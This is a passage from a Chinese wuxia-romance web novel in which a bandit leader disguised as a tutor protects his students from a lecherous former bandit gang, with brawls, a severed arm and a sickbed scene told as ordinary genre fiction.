一路上抓着唐黎的手臂埋头快走,直到再也闻不到那股儿令人反胃的味道。
“真的没事?”这次换唐黎扶上蔺渊的胳膊。
蔺渊注意到唐黎眼中的关切,心底微暖。
她倒是真的心善啊。
“无碍。”他伸手推开唐黎却触碰到伤口。那手上的伤可见骨,只用衣条简单缠绕,他这么一推反倒把血迹弄到唐黎的衣袖上。
唐黎慌忙收回手,她本意是怕弄疼蔺渊,可这动作落在蔺渊眼中就变了意思。
果然,还是落人嫌弃。蔺渊垂眸掩去眼中的失望。
唐黎看他伤成这样也要讲究男女大防,当真是个迂腐的老小子。
不过,看你受伤的份上,就不与你计较啦~
她直接拉过蔺渊的手掌将金创药抹上。蔺渊实在疼的忍不住往后缩了下手,唐黎干脆抓的更紧:“别动。”
唐黎的手小巧柔软,一只手堪堪握住蔺渊的手腕,微凉的指尖划过皮肤。这种接触让蔺渊感觉陌生,却又不排斥。但心中的礼教告诉他这不合规矩,于是又想把手收回。
见他不老实这次唐黎干脆一巴掌打到他的肩头,瞪了他一眼:“手不想要了可以直说。”
挨打的地方火辣辣的疼,但心中那丝暖意持续扩散。
“你不怕我?”蔺渊试探性问道。毕竟自己是土匪头子,恶人一个,任何人都会避恐不及。但他忘了,现在的唐黎根本就不知道他的身份。
“怕什么啊?”唐黎不以为然回答,头都没抬道:“你又打不过我。”
“……”蔺渊哑然,居然找不出任何理由反驳。
唐黎给蔺渊涂好药,最后吹了口气道:“借药婆婆的一口仙气,千疮百孔皆能被磨平。”
她抬眸时的笑容太过灿烂太过耀眼,让蔺渊有一刹那的恍惚。心中不禁感慨:“若是人能永远保持赤子之心,天真烂漫该有多好。”
蔺渊的沉默引起唐黎的注意,她收起笑容道:“你有没有听过药婆婆的故事?”
蔺渊摇摇头,唐黎来了兴趣便讲起故事。她讲的绘声绘色,说到关键处还比划起来,蔺渊不知不觉被吸引住,渐渐地听了进去,时不时的也跟着点头附和几句,再抬头二人便来到客栈前。
“哥哥。”侯保可算发现蔺渊的踪迹,他奋力的挥挥手却对上笑容瞬间消失的蔺渊。
侯保心中一颤,后知后觉的反应过来自己做错事,低着头也不再吭声。跟在蔺渊身后把唐黎送到房间。而蔺渊自始至终都未曾理会他。
侯保小心翼翼的敲了敲门,他怕被训斥就拉着石泰一起来。石泰是个莽撞人上来就道:“那伙人着实可恶,侯老弟烧他们也是为哥哥出气,你何必生气嘛。”
“闹出这么大的动静,是非得让官府把你逮进牢里才舒心?你的皮肉就痒成这样?我看也不劳官爷们动手,我来!”说着他拍着桌子起身。
侯保辩解道:“那地方偏远,一时半刻发现不了。再说了,谁能知道是我干的。”
蔺渊剜了他一眼,神色无比认真道:“不知道是谁干的?好,崔安是你们动的手吧?顾平安都找上门来了!我看你们在邓州也久待不得,赶紧回山去。”
“要走一起走。”石泰的态度很是坚决。他才不会把蔺渊留在邓州。
蔺渊心里盘算一二,还是得说出留在邓州的原因,不然这几位不可能轻易离开。他们久待邓州只会让自己身份暴露的更快。
“不瞒二位兄弟,我之所以留在邓州是因为答应南衙
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统领一件事,南衙便会奏请陛下缓解剿匪。还有两月便是年节,朝廷不愿在此时节劳动大军,白虎山也可以缓口气。”
石泰插话道:“说说是什么事,咱们兄弟也好帮忙。”
蔺渊摇了摇头:“此事必我一人所为。你们快些回山,趁着朝廷收兵赶紧加固寨防,囤积粮草以备不时之需。还有就是,对想离去之人不必阻挠。给他们些遣散银子,咱们好聚好散。”
侯保问道:“光武山,梨花山呢?他们一个月前就想见哥哥商议聚义。”
“多一事不如少一事,暂且不要理会。”
“哥哥怀疑他们是钩子?”
石泰头脑简单,他搞不明白就问道:“钩子?方正勇的?朝廷的?那帮孙子也招安了?”
“好了,别管他们是谁的钩子。重要的是白虎山现在需要闭山锁寨,什么事都等熬过这节骨眼儿再说吧。”
“明白。”侯保点点头,他明白蔺二哥一切目的都是为了保白虎山。只是……朝廷一直想抓个典型杀鸡儆猴,攻打白虎山三个月之久,哪里会这么容易放弃。这样看来二哥从南衙手中所接的必是苦差、难差。
蔺渊活动下隐隐作痛的手掌,才换的纱布又渗出血来。眼尖的侯保注意到便不打扰蔺渊的休息,他拉着石泰离开后去房间拿伤药。
碎布条早已被血污染的看不出本来模样,蔺渊端详着手掌,心思却飞到千里之外。
因为私事的缘故自己离寨一年有余,明明走前好好的,怎么现在就乱成一锅粥?白虎山人心不齐,各怀鬼胎。朝廷的大军还没来,自己却先内斗起来。
雷正大哥,多好的英雄豪杰,多少江湖中人崇拜的侠客,真正配得起替天行道四个大字,又怎会无端带着白虎山造反?
要知道竖起造反的旗帜便是走上不归路。往日令人敬佩的大侠只会沦落为人人喊打的老鼠。
“想什么呢?”唐黎的声音突然响起,蔺渊瞬间回神,他马上起身道:“这么晚不休息,有事吗?”
“刚才侯大哥说你的伤口又渗血了,让我过来给你包扎。”唐黎一一摆出纱布、伤药。
“不必,让侯保来就好。”说着就要去找侯保。
“诶诶诶。”唐黎根本不给他机会,直接将门关上道:“我有话要跟你说。”刚才在路上被蔺渊一个劲儿说教不该见义勇为。她一时间嘴笨发挥的不太好,躺在床上时才想出个回怼好法子,便迫不及待的过来。
“你在明知道对方攻击目标是自己时,为何要只身引敌为我解围?怎么?你忘记审时度势啦?你话本子看多啦?你忘记拔刀相助是天下最愚蠢的行为啦?”唐黎一挑眉毛,神气万分。这招以其人之道还治其人之身,还不错吧。
“身为夫子,我有保护自己学生安全的责任与义务。”蔺渊不仅是这么说的,当时也是这般想的。
他知道唐黎武功高强,但依旧害怕那伙江湖人对她不利。没混过江湖的人根本不知道江湖险恶。尤其唐黎还是貌美年轻姑娘,若真落入那帮人手中,后果不肯想象。
“.......”唐黎没想到蔺渊会这样的回答。因为她打心底从未认为蔺渊是夫子。而这人仅仅是因为身为夫子,即使没有武功也要拼死护下学子?
当真是迂腐古板的很!
但说实话,自己确实被他的这份心给打动了。
“嗯。”她勾勾手指示意蔺渊把手伸出来。
蔺渊没明白,他还回头看了看,发现自己身后也没别的东西。
“手,上药。”唐黎拉过他的手就拆起纱布。
年轻姑娘的手上没个轻重,蔺渊疼到暗暗咬牙却没有声张,唐黎侧眸注意到这点,手上动作放轻不少。
帮忙上药的唐黎嘴也没闲着,问出她想了一路也没想明白的问题。一个教书先生是怎么招惹到的江湖人,还有跟在夫子身边那位矮小男人,功夫十分不错,他又是谁?
21. 一起逛集市
蔺渊就知道唐黎一定会问,随便编了个故事来应付。
他讲的这个故事改编自真实事件。所以逻辑上是经得起推敲,可惜故事选的过于惨。等蔺渊讲完后发现自己的家被贼人一把火烧没了,侯保成了忠仆,而自己则是位落难某门派掌门之子。
唐黎还真信了,毕竟蔺渊几乎是天天白衣,即使不穿白衣也是素服,这分明是在戴孝啊。还有那削铁如泥的宝剑也符合他江湖门派的出身。
只是……还有一点说不通。唐黎问道:“既然你出身清澜山派,为何功夫这般差?”
“哦,我自小体弱,练不得武便读书走仕途。”说着还配合的咳嗽两声,他继续道:“求学在外,不常归家,侥幸保下一条命。”
合理吧?十分合理吧!
蔺渊不动声色的勾唇浅笑,他发现自己还有编话本子的天赋。
“那你的仇人是谁?就没想过报仇吗?”
蔺渊苦笑道:“苟活与世,我已经很满足了,报仇?以我的能力怕是成功不了。”
“这么说你知道自己的仇家?报官了吗?”
“……”蔺渊张了张嘴,又把话咽回去。他还是第一次听说门派间斗狠寻求衙门帮忙的,这姑娘到底是天真可爱。
“你既然隐姓埋名,那伙人是如何识别出你的?”唐黎停顿片刻,此刻她的脑海中划过曾经阅览过的那些武侠话本,她很快找到个可能性。
软剑再次出鞘,唬得蔺渊连忙后退,并警告道:“小心一点,这剑锋利着呢。”
唐黎转了转剑身,泛着寒光的剑刃述说着自己的不凡。她抬眸,坚定的说道:“今天那伙贼人是想抢这宝剑。”
“……”这真不怪蔺渊没反应过来,实在是唐黎的思维太过跳脱。
“宝剑是你家门派的宝物吧。”
“……”虽不知唐黎是何意思,蔺渊觉得自己这个时候有必要点头。
“我就知道!”跟话本子上写的一样!一个门派被灭门的大多数原因是身怀珍宝。而这宝剑明显就是清澜山派的珍宝。
“你是怕自己没能力保护好宝剑,所以才交与我保管的?”
“?”
“昂!”蔺渊狠狠的点点头,他已经跟上唐黎的思路,原来这姑娘自己给自己构建出一个完整的故事体系,她的想象力确实不错。
“你放心,我定会保护好它!有我在,没人能抢走你的剑。”唐黎手持宝剑,郑重的向蔺渊拱手。
蔺渊借坡下驴,回礼道谢。
“哦,对了,这剑叫什么名字?”
“凤鸣。现世上百年了。”
“好听诶~怨不得它出鞘时会有清脆的嗡鸣声,果真应了它的名字。”唐黎一直赏玩着剑。
没想到啊,刀光剑影的江湖生活,爱恨情仇的门派斗争竟然发生在我身边,就如同话本子所写的那般荡气回肠。
蔺渊不解地眨眨眼,这姑娘到底在激动些什么啊?他伸出手道:“唐学子,你还未给我换药的。”
“哦哦哦。”唐黎不好意思的笑了笑道:“一时间忘记了。”
蔺渊忍不住在心底吐槽道:“你来不就是为了上药吗?这都能忘?”
……
翌日一大早,客栈楼下就响起上官竹的声音:“夫子!起床了!我带你逛逛邓州城!”
紧接着唐黎推门而出道:“大早上吼什么吼,小点声!”
“咦?你怎么在这?”上官竹歪了下脑袋。
唐黎上来就揪上他的耳朵道:“书院不许逛花楼,你都当耳旁风的吗?”
上官竹好不容易解救出自己的耳朵,看到蔺渊下楼立刻躲到他的身后,指着唐黎告状道:“夫子,你看这横主儿,又欺负我。”
“好了,莫要扰了别人休息。”蔺渊发话道。
上官竹推着蔺渊往外走道:“今儿有集会,我带夫子好好逛逛。”
“诶,今日下午还有五斋的课呢。还是先回山吧。”
“来都来了,逛逛吧。中午咱们一块回去。”上官竹才不管蔺渊的意愿,拉着他就走入人群中走。
果然如上官竹所说的那般热闹,摊位琳琅满目卖什么的都有。唐黎端了三碗糖水过来道:“解解渴吧。”然后又挨个摊位选购。
她似乎很爱买东西,而且她真的很有钱。
上官竹实在提不动那些大包小包,蔺渊看他可怜便帮他分担一二,结果到最后两人身上全是包裹。
“唐黎,求你,别买了。实在拿不下。”上官竹两只手都被占用,他只能用头指着蔺渊道:“你就算不心疼我,也心疼心疼夫子吧,他的手还伤着呢。”
“乖。”唐黎摸摸他的头,投喂他个点心,再冲他笑上一笑,上官竹瞬间就老实提包。
蔺渊眉头微皱。这大庭广众之下怎能做如此亲密的动作,就算是姐弟也该避嫌才是。万万没想到这事紧接着就轮到他的身上。
“你也辛苦呀。”唐黎递来糕点,笑得十分甜美。
只是个再简单不过的笑容便轻而易举的让人陷进去。
人类向来无法抗拒好看的皮囊,尤其是这类纯真而又无害的笑容。此刻的蔺渊明白方才一直叫嚷的上官竹现在为何安静,甘愿提包。
因为他也在不知不觉中沦陷。
“穆家的点心还是挺好吃的吧?”上官竹扭头问道。
蔺渊回味着,他望着远处继续采购的唐黎,点头认可道:“嗯,很甜。”
“不甜啊,我咋没吃出甜味?”上官竹还在谈论点心的味道。
两人边走边聊行程较慢,很快就看不到唐黎的身影。蔺渊只能踮起脚尖伸长脖子去寻找。
“抓小偷!”前面引发不小的动静。
矮小的男人逆着人群一路狂奔,而追击他的正是唐黎。
紧接着唐黎踏着摊位棚子飞身而来,却一个不小心落地不稳。幸亏蔺渊眼疾手快将起扶稳,询问她是否安好的话还未说出,下一刻唐黎继续追击。
上官竹将所有包裹塞到蔺渊怀中,也加入追击队伍。
蔺渊抱着堆成山的包裹是最后到达现场的,上官竹已经夺回唐黎的荷包,唐黎正一脚踏在小偷胸口道:“敢偷到你姑奶|奶|头上!混哪一路的?”
蔺渊觉得这场景怪熟悉的,换个词就成土匪劫道了。
唐黎则是在围观众人的叫好声中满面笑容,还冲蔺渊得意挑了下眉。好似在说:“看吧,见义勇为不是傻事。”
随着官兵的到来,这场闹剧才结束。
看着跑着满头大汗的学子们,蔺渊提议到酒楼休息。期间唐黎整理着包裹道:“这个是林焕,这个是天赐的,这个是冉师姐的……”她给每位相熟的同窗都准备了礼物。
上官竹也得到把折扇作为礼物,他也不管天气是否合适,打开就扇起来,看那模样是喜欢的不得了。
“这是你的,正好用来防身。”精致的弩机递了过来。
蔺渊受宠若惊,没想到自己还有份。他接过来道:“多谢。”
等等,这是弩机!?弩机属于作战兵器,民间是不允许制造的,邓州城里还能卖军器?
唐黎就知道蔺渊会问,指着上官竹道:“诺,墨家传人。他做的弩机不但体量小,还要比常规见的多上三发,我昨晚管他要的。”
听到提到自己,上官竹摇着扇子憨憨地扬脸笑了两声。蔺渊有些怀疑,面前的傻少爷真有这本事?
不管如何,这是学子们的心意。第一次收到学生们的礼物蔺渊还是很开心的,他把弩机收好,起身道:“你们想吃什么,我请客。”
“好嘞,夫子请客哦!”上官竹是一点都不客气,对着水牌就是一顿点。唐黎则表示吃什么都行,快点上菜即可。因为一上午没怎么吃东西的她,胃有点微微作痛。
蔺渊下楼点完菜才发现银两没带够,什么酒楼吃饭要一两银子?而他的荷包里的零散铜板儿都不够一盘菜的钱。他望向二楼,唐黎是有钱,但此刻管她要钱,那自己还要不要面子?
于是打算回客栈拿钱,只是没想到回来路上被人拌住了脚,凑巧遇到从白虎山回来的时臣。
时臣汇报着近段时间山寨的情况,情况是十分不好。好几个头领又闹着要分家,看这架势蔺渊再不回山主持大局便会彻底大乱,不用朝廷发兵,白虎山干脆自己散了。
两人谈话之际
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,恰逢楼下路过一群人,呜呜渣渣的模样与街上众人完全相悖,大家伙都避着他们走。时臣疑惑的起身道:“廖武?他们不是叛出白虎山了吗?怎么会出现在邓州?”
“想必是路过,不必招惹他。”
这边的学子们左等右等都没等到夫子回来,也不见店家上菜。上官竹趴在窗口道:“奇怪,夫子不至于为了不请客逃了吧?”
此刻已经到饭点,酒楼人来人往的,饭菜飘香。唐黎实在胃痛,她招呼来小二先点了几个菜。可后厨现在忙的不可开交,饭菜上的十分慢。
上官竹见唐黎嘴唇都白了,拿出所剩无几的点心道:“你先垫垫。我这就去街上随便买点吃食回来。”
唐黎趴在桌上眨眨眼,她现在的状态看起来非常不好。
“这是怎么了?”蔺渊的声音响起。
唐黎可怜巴巴的抬眸回应道:“饿。”
蔺渊先是一笑,这么大人了,怎么还跟孩子似的喊饿呢。不过他还是宽慰道:“菜已经点上,我这就下楼去催他们。”
一片祥和的酒楼中迎来了七八个不速之客,他们拎着武器大咧咧的走进来。按理说这类武器是不能进城的,即使带进城也都是藏着掖着。像这伙人这样的很少见,似律法为无物的定是狠角色,他们正是时臣口中的廖武等人。
店家不敢招呼,也不敢不招呼。他把小二推出去应付。小二还未走近就闻到刺鼻的酒味,这伙人满身酒气的,食足饭饱的,看起来不像是来吃饭的。
“拿酒来!”话音未落他就抱着栏杆吐了起来,他这一吐可把众人恶心坏了,纷纷起身离开。
方才还满座的酒楼彻底空了。店家是敢怒不敢言啊,他能怎么办?小心伺候着呗。
随着这廖武抬眸就注意到二楼的唐黎,女子的倩影让他的眼睛瞬间就亮了。他带着兄弟们来到二楼,直接坐到唐黎身旁道:“姑娘,一个人?”
冲鼻的酒味让本来胃就疼的唐黎胃更疼了,她没心情,也没精力搭理这伙人,干脆换张桌子。
廖武不依不饶的跟过来,这次更加大胆的道:“小美人,让哥哥陪着你如何啊?”他的话引着身后兄弟哈哈大笑。
店家一看事态不对,小姑娘恐怕要吃亏,连忙让小二去报官。自己则是壮着胆子道:“各位客官,酒菜摆好了,请到楼下用餐!”
他们直接将桌子端到二楼,美其名曰陪姑娘用餐。还敢拿手去挑唐黎的下巴,唐黎直接挥掌推开,起身后眼前却是一片黑漆。
她从小有个毛病,但凡没吃好饭就会胃疼晕眩,严重的话会直接昏倒,所以她的口袋里时刻备着怡糖。
奈何今日一直没回书院,身上的饴糖没了。想着有上官竹与蔺万宗在身边也不会出什么事,所以方才在集市上就没买那不合口味的饴糖。
眼前一黑的唐黎自然是站不稳,廖武扶过她,笑的略显猥琐道:“妹妹身娇体软的,站也站不稳当。”
“你!狗东西!脏手拿开!”恰逢上官竹回来,他把手里的东西丢到一旁,帅气到飞身而来。
然后……被对方制服。
唐黎忍不住翻了个白眼,她早就劝上官竹对练武用点心,偏不听。就爱那些花架子,一动真格就歇菜。
“你!”上官竹还挺不服气的,觉得方才是自己没发挥好,再加上这伙人群殴的原因。
他刚要起身,就被人用刀架在肩膀上,这下彻底老实了。
唐黎无视大汉搂着自己的胳膊,拿起筷子自顾自的吃起来。廖武哈哈笑着,只觉得这姑娘大胆、有趣,便由着她吃。
期间他倒了杯酒刀道:“别光吃菜,来陪哥哥喝酒。”
唐黎依旧无视他,继续吃饭补充身体所需的能量。廖武也不是什么好脾气的,直接掰过唐黎的肩头就要强灌她喝酒。
表示若是不喝就给上官竹放放血。
稍微恢复些的唐黎抓过手边的筷篓砸了过去,紧接着又扇对方两巴掌,趁着廖武被扇懵之际,踹开上官竹肩上的利刃,拉过他后拔腿就跑,那伙人吃了亏定然是奋起直追。
蔺渊从后厨端着菜出来就撞上这样的画面,唐黎一把揪过他的衣袖道:“跑!”
22. 一饿就腿软的唐黎
三人也不知跑了多久,唐黎喘着粗气,摆手道:“我实在跑不动了!”
“别停啊!”上官竹拉着她继续前进,可唐黎是实在跑不动。她本就一直眩晕,能跑这么远都算不错了。
“咱们到底再躲谁啊?”蔺渊插嘴道。他现在什么情况都不知道,就被拉着一顿狂跑,好好的衣袖都被唐黎扯掉一只。
可惜没人理会他的问题,上官竹问着唐黎道:“那怎么办啊?”
“还能怎么办,打呗。”唐黎脚步虚浮的,实在不像能打的样子。即使如此,凤鸣依旧出鞘,将上官竹与蔺渊护在身后。
而他们因为一路乱跑的原因,更不知此处是何地。身后是荒凉的宅子,四处是枯黄的杂草,这破败程度堪比义庄啊。
蔺渊提议无论是躲谁,身后的宅子兴许可以抵挡一阵。
“大哥,跟丢了。”后来追上的小弟汇报道。
“傻子!躲那宅子里面了呗。”地上的脚印明显显示在门前,人去哪儿了显然易见。
廖武剔着牙,他不觉得面前两位年轻人有反抗的能力,并十分满意他们挑选的地方。这种地方,就算喊破天去,也不会有人出现。
他揉着被打红的脸,先派出两个小弟道:“扒了他们的衣服,女的我先享用,男的蛮清秀的嘛,正好留给兄弟们泻火。”
“好嘞,大哥。”两位小弟答应一声上前就破门,废弃的宅子根本抵挡不住这伙人的破坏力。
“夫子,这有我们顶着,您快去找找院子后面有没有出路。”上官竹拼命抵着门道。
蔺渊点点头,他知道自己的武功留在这也没什么用,没准还会添乱,于是毫不犹豫的往后跑去寻找出路。
面对敌人的进攻,唐黎闪躲过几次攻击后,抬腿将一人踹翻在地。上官竹则是用弓弩射伤一人眼睛,那人捂着眼睛,哀嚎声连连,上官竹见状不停地鞠躬说着对不起。他好像不小心把人给射瞎,对此他表示无比愧疚。
这时不远处朝天飞出一道烟火,那是蔺渊放出的求救信号。烟火吸引到廖武的注意,他扔掉牙签,语气中略显疑惑:“附近有白虎山的人?”
他振臂一呼道:“速战速决!”并亲自打头阵带着所有人围攻上前。
唐黎二人立马处于劣势,他们慌忙躲进一间房中,把屋内所有的杂物抵到门口,但这样也只能躲避一时。
上官竹害怕的发出颤音道:“怎么办?我没箭了。”
而虚弱的唐黎靠在他的肩头,明显身子软了下去。
“喂,大姐,你别在这时候晕。我就靠你呢。”上官竹想扶唐黎又不敢撤回抵着门的手。
“姐啊,你醒醒。我怀里还有糕点,你就吃一口,姐?姐!”上官竹欲哭为泪。他与唐黎相熟,自然知道唐黎的这个毛病。她小时候曾被迫待在地窖,一连饿上五天。从那以后就落下这个没吃好饭就会晕的病症。
“那帮人太可怕了。救命啊!有没有人啊!”他抬头朝天喊着,只能将希望寄与苍天。
“救……”
“别嚎了,难听死了!”身后突然传来陌生声音。
“嗯?”上官竹还未回过头,那人一掌就敲在他脖颈处,两眼一翻与唐黎晕到一处。
“大哥,解决了。”房屋的门从里面被打开。
廖凡看着两人昏倒在地,上去就踹着小弟道:“你把人都整昏了,还有什么意思!”
小弟挠着头道:“啊?不整昏啊?他们可都有功夫……”
“你懂什么。”廖凡推了把小弟,他蹲下来,狠狠的吸口气道:“好香啊。”
他摩挲着唐黎的脸庞道:“美人多得似,但像这般烈的美人少见,你知道什么最有意思吗?”他的手指一路下滑,蹭掉唐黎的口脂摸到自己嘴上,继续道:“这样跟死了似的,没劲儿。”
他起身吩咐道:“都给我绑好了,等找到个清净之所,老子再好好享用。”说话间他的眼神四处乱瞟,实在是怕白虎山的人从哪里窜出来,坏了他的好事。
至于蔺渊,他在荒宅里一顿乱跑,能逃命的出口没找到,倒是让他找到救星。
荒宅占地面积不少,曾经一定居住着大家族。院子最后是祠堂,祠堂明显被经常打扫,就连屋里都燃着长明灯。
他试探的推开门,屋里跪坐着的人同时回过头来,两人明显都愣了一下。
“蔺夫子?”
“顾相公?”蔺渊快步上前道:“你怎么在这?”
“这是我家老宅啊?”顾平安还想问蔺渊怎么在这,还这样大大咧咧闯入别家的祠堂。
“随我救人。”蔺渊来不及解释,上前拉过他就走。
赶往事发地的蔺渊跑出生平最快的速度。刚到前院正好碰上廖武等人要离开,两拨人二话不说的战到一处。
“蔺二爷,好久不见啊。”廖武冲着蔺渊笑了笑。
蔺渊只觉得这笑容恶心,瞬间让他想起那些不好的事。廖武这个人可以用色胆包天来形容,离谱的是无论男女但凡有些姿色的他从不放过。
当年在白虎山,廖武曾无数次骚扰过蔺渊,甚至还在他的吃食中下药。幸亏他警觉,否则还真叫廖武得逞了。
这时蔺渊注意到被丢在一边晕倒的唐黎。
“上官学子?唐学子?醒醒?”蔺渊轻轻晃了晃,又掐上人中,可惜唐黎没有一点反应。她武功是那样的好,打廖凡几个人完全没问题的。如今晕倒在地,蔺渊完全有理由怀疑是廖武下了药。
“你干了什么?”蔺渊指着对方质问道。
“许久未见,蔺二爷就是这般叙旧的嘛?”他一直笑眯眯的看着蔺渊,不知道的还以为他们之间多么熟悉。
他又将视线挪到顾平安身上,摇了摇头道:“就你们两个人呀,还是束手就擒吧。看在你我往日的情份上,我饶你一命。”
顾平安佩刀出鞘,仅用十招便击败廖武手下五名喽啰。剩下的两人说是护在廖武身前,实则是不敢与之对抗。
“看来束手就擒的另有其人啊。”顾平安收回佩刀。
“英雄混哪一路的?”廖武的语气开始变得尊敬。
“兵马司长官史顾平安。”话音刚落,顾家家丁十分配合的出场,给顾平安带来该有的气势,并将所有人都给绑上,准备移交给衙门。
一般来说衙门是不管江湖门派的斗争,只要不出人命他们选择睁一只眼闭一只眼。但此事发生在顾家门口,他顾平安就必须得管。
没错,这个荒宅就是曾被灭门的顾家旧院。顾平安趁着休沐过来祭拜一二,没想到竟碰到这事。他呢,跟廖武不熟,自然而然就选择与蔺渊统一战线。
就这样身为贼首的蔺渊此刻由朝廷命官所护。
对于蔺渊的不讲“武德”,廖武破口大骂道:“你这小白脸,忘八端,当真阴险!”
蔺渊懒得与他计较,他担心些昏睡的学子们,剑指廖武道:“你到底给他们下了什么腌臜东西,解药呢?”
廖武勾起一抹微笑,轻声道:“我给你也用过,不记得嘛?”
“你!”蔺渊的剑又往前几分毫不留情的刺入对方皮肉。顾平安连忙拉住他,只要他在场就不允许任何人被伤害,一切都该交于朝廷律法。
“哈哈哈。”廖武毫无阶下囚的自觉,他对着蔺渊道:“靠近些,靠近些我告诉解药。”
他的话自然不可信。但蔺渊为了学生们的安危,脚步真的往前走去。
谁知廖武张口便咬住蔺渊的脖子。
在场的所有人全部愣住,顾平安甚至忘记呼吸,现在江湖上还能这么玩的嘛?
蔺渊手中剑一横,廖武被刺痛这才松了口
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。手捂上脖子已经被咬出了血,蔺渊是又羞又恼,气到脸颊都在不自然的抽动。
廖武很满意蔺渊的反应,随即大笑道:“还是和从前一样,你真的很香。”他的眼神变态极了,还回味的舔下嘴唇。
蔺渊的眼神充满厌恶,顺便给对方一脚。这时注意到廖武嘴角处淡淡的口脂印,他立刻回头,发现与唐黎嘴唇上颜色一般。视线往下移去,指头就那抹红的扎眼。
眸中的厌恶立马被杀意所替代,蔺渊来到顾平安的身边道:“放了他们。”
顾平安自然知道这句话的意思。蔺渊是打算私下解决。可这是邓州地界,他身为守城将士哪能被人如此指挥。说抓就抓?说放就放?
自然是不放的。
而蔺渊指着廖武道:“我就要他一人,剩下的你拿去领功。”
“蔺当家的,真当我这兵马司是市场?还可以讨价还价吗?”顾平安一步不退,捍卫自己的立场。
就在二人谈判时候,廖武挣脱束缚提刀猛冲而来,蔺渊退步闪过,刀刃直指顾平安。顾平安闪躲之际双掌合十夹住刀身,他们就此较起劲儿来。
廖武见没机会夺回刀便卸了劲儿。因为惯性的原因顾平安需后退数步稳住身形,再抬眸时廖武手持匕首而来,尖刃离双目只剩一寸。
银光划过,那是宝剑的光芒。
蔺渊出剑很快,反手撩剑毫不留情的削下对方的小臂。匕首与小臂一同掉落在地,这还不算完,蔺渊手腕一转,剑刃即刻就要挥向廖武的后脖颈。
“蔺渊!你放肆。”顾平安喝道,同时脚尖一挑,踢出地上的匕首以此阻止蔺渊接下来的动作。
“啊!”廖武捂着断肢倒地,嚎叫不止。喷溅出来的热血留了满地,让家丁们不敢上前。
蔺渊捡起地上的断臂,微眯着眼睛审视廖武道:“是这只手碰的我的学子吧?”
对于蔺渊的行为顾平安自然是生气,若是不出手制止,方才蔺渊就在自己眼皮子底下杀人,顾平安直接拔出佩刀道:“你要反了不成?”
侯保时臣等人根据信号带人赶来,见顾平安拔刀朝向蔺渊,他们二话不说的也亮出刀剑。有兄弟们撑腰的蔺渊可以说底气十足。
“看在顾相公的面子上,我饶了此人。”蔺渊笑的柔和,手持断肢却像持扇般优雅。
廖武还在痛苦的哀嚎,好几次压过蔺渊讲话的声音。蔺渊讲话声本来就不大,他也懒得扯着嗓子去喊,最后把他惹烦了,干脆把断肢塞到廖武嘴里,周遭这才安静下来。
“当年你叛出白虎山,雷大哥饶你一命。如今白虎山是我当家。你啊,最好祈祷永远别落我身上。”蔺渊狠狠拍着他的脸警告道。
他示意兄弟们收刀,并做了个请的姿势道:“顾相公,我就不送了。提前祝你立了大功。”
“我早晚抓了你。”顾平安丢下一句便带着人离开。
上官竹紧接着醒来,他活动下脖子探索四周,看到蔺渊时激动的跑过来,纵身一跳直接挂在蔺渊身上。
“没事了,这宅子是顾家老宅,坏人都被顾相公带走了。”蔺渊安慰道。
上官竹一口气把事情的经过讲述一遍。
“你是说,唐黎是饿晕过去的?”蔺渊指着唐黎不可置信道。
“那咋办?”侯保插嘴道。
上官竹回答道:“这种情况一般都找复叔。”
远处时臣驾驶着马车,招了招手。侯保笑道:“这小子,这么快就搞辆马车。哥哥,快带大侄女上车吧。”
蔺渊那边刚要有所动作,上官竹已经抱着唐黎起身往马车走去,蔺渊伸出的胳膊只好尴尬的收回。
侯保咂咂嘴,宛如长辈般感叹道:“这俩年轻人蛮配的嘛。”
“咳咳,不能胡说。坏了人家姑娘清誉。”蔺渊提醒道。
23. 满嘴没一句实话的蔺渊
元德堂
贾复收回把脉的手道:“无碍,唐黎的老毛病了,我去开药。”
蔺渊抬眸道:“好端端怎么会落下这个病症?”不吃饭就会晕倒,这句话那天在义庄唐黎好像提到过。
上官竹奉来茶道:“唐黎年少有段时间寄养在乡下,不知村里的谁招惹到江湖杀手。照顾唐黎的爷爷为保她的安全就将唐黎与婆婆关在地窖之中,自己引开杀手。
等官兵赶到时整个村子都被屠杀,唐黎与婆婆在地窖里整整待了七天才被发现,而那位婆婆已经死了五天……
从此唐黎便落下个毛病,若是不好好吃饭便会昏厥,也不能独自待在黑暗密闭的暗室之中。”
“她那时多大?”
“年仅八岁。”
蔺渊万分心疼的皱起眉头,不是说唐家是官宦世家,怎么会有这般的经历?不过这样以来唐黎晕在义庄的事彻底说通了。
上官竹拱手道:“我先回书院给学官说明下情况,再帮您告个假。唐黎就交给您了。”
蔺渊起身将他送出去,临行前道:“回去记得给掌事学官送些点心什么的,让他别气了,你也服个软,多说些漂亮话,昂。”
“嗯。知道了。”面对长辈似的关怀与嘱咐他认真的点头应承。
回到屋里贾复已经给唐黎喂完药了,他道:“劳烦夫子照看一二,我需去前面铺子看诊。”
“好,你去忙吧。”蔺渊搬个矮凳坐在床边,随手拿本医书翻看着。
塌上的唐黎似乎睡得很不踏实,她小脸紧皱像是在经历苦恼。
“母亲~”她小声呢喃道。
蔺渊以为她醒了,连忙过来察看却发现她仍旧闭着眼睛没有清醒的意思。
蔺渊感慨道:“明明那么要强的人,梦里却喊着母亲。”
他刚要离开,发现自己的衣袖被唐黎紧抓,而唐黎口中则是念念有词:“别……别走。”
尽管在睡梦中也能看出她此刻的不安。想到上官竹讲述的经历,蔺渊本要离开的脚步顿住了,任由唐黎拉着他的衣摆,就这样坐在床边安静地陪着。
“母亲!”伴随着一声惊喊,唐黎顿时坐起身,半梦半醒的她直接搂过身旁的蔺渊道:“求你了,别离开我。”她的语气中充满恳求。
蔺渊僵着身子一动也不敢动,女子的馨香袭面而来,使得心脏猛烈跳动起来,他喉结微动,低声道:“唐学子醒醒,是夫子啊。”
“夫子?”唐黎迷迷糊糊的松开蔺渊,疑惑道:“你怎么会在这里?这里是哪?”
蔺渊见她终于回神来便将一切解释,顺便又坐回到三米开外的矮凳上。
唐黎愤恨的拍床道:“哼!要不是我实在没能撑住,非把那帮人扒光了吊在城楼下!”
蔺渊笑着道:“他们已经被抓进牢里,想必衙门会为你出气。”
“不行。”唐黎越想越气,她来到药铺的前院翻箱倒柜的找出一瓶药,趁着贾复没发现拉着蔺渊又回到后院,指着药瓶道:“泻药。”
“嗯。泻药。”看她这副古灵精怪的模样,蔺渊勾起的嘴角就一直没落下。但唐黎接下来的话让他的笑容消失。
“咱们去牢狱给他们点厉害瞧瞧。走。”
“诶……”蔺渊被拉个趔趄。恢复过来的唐黎可谓是生龙话虎,一路拽着蔺渊来到州府牢狱前。
“门口守卫森严的,好像没法进去。”蔺渊好心提醒道,也是希望她能放弃这个冒险的计划。
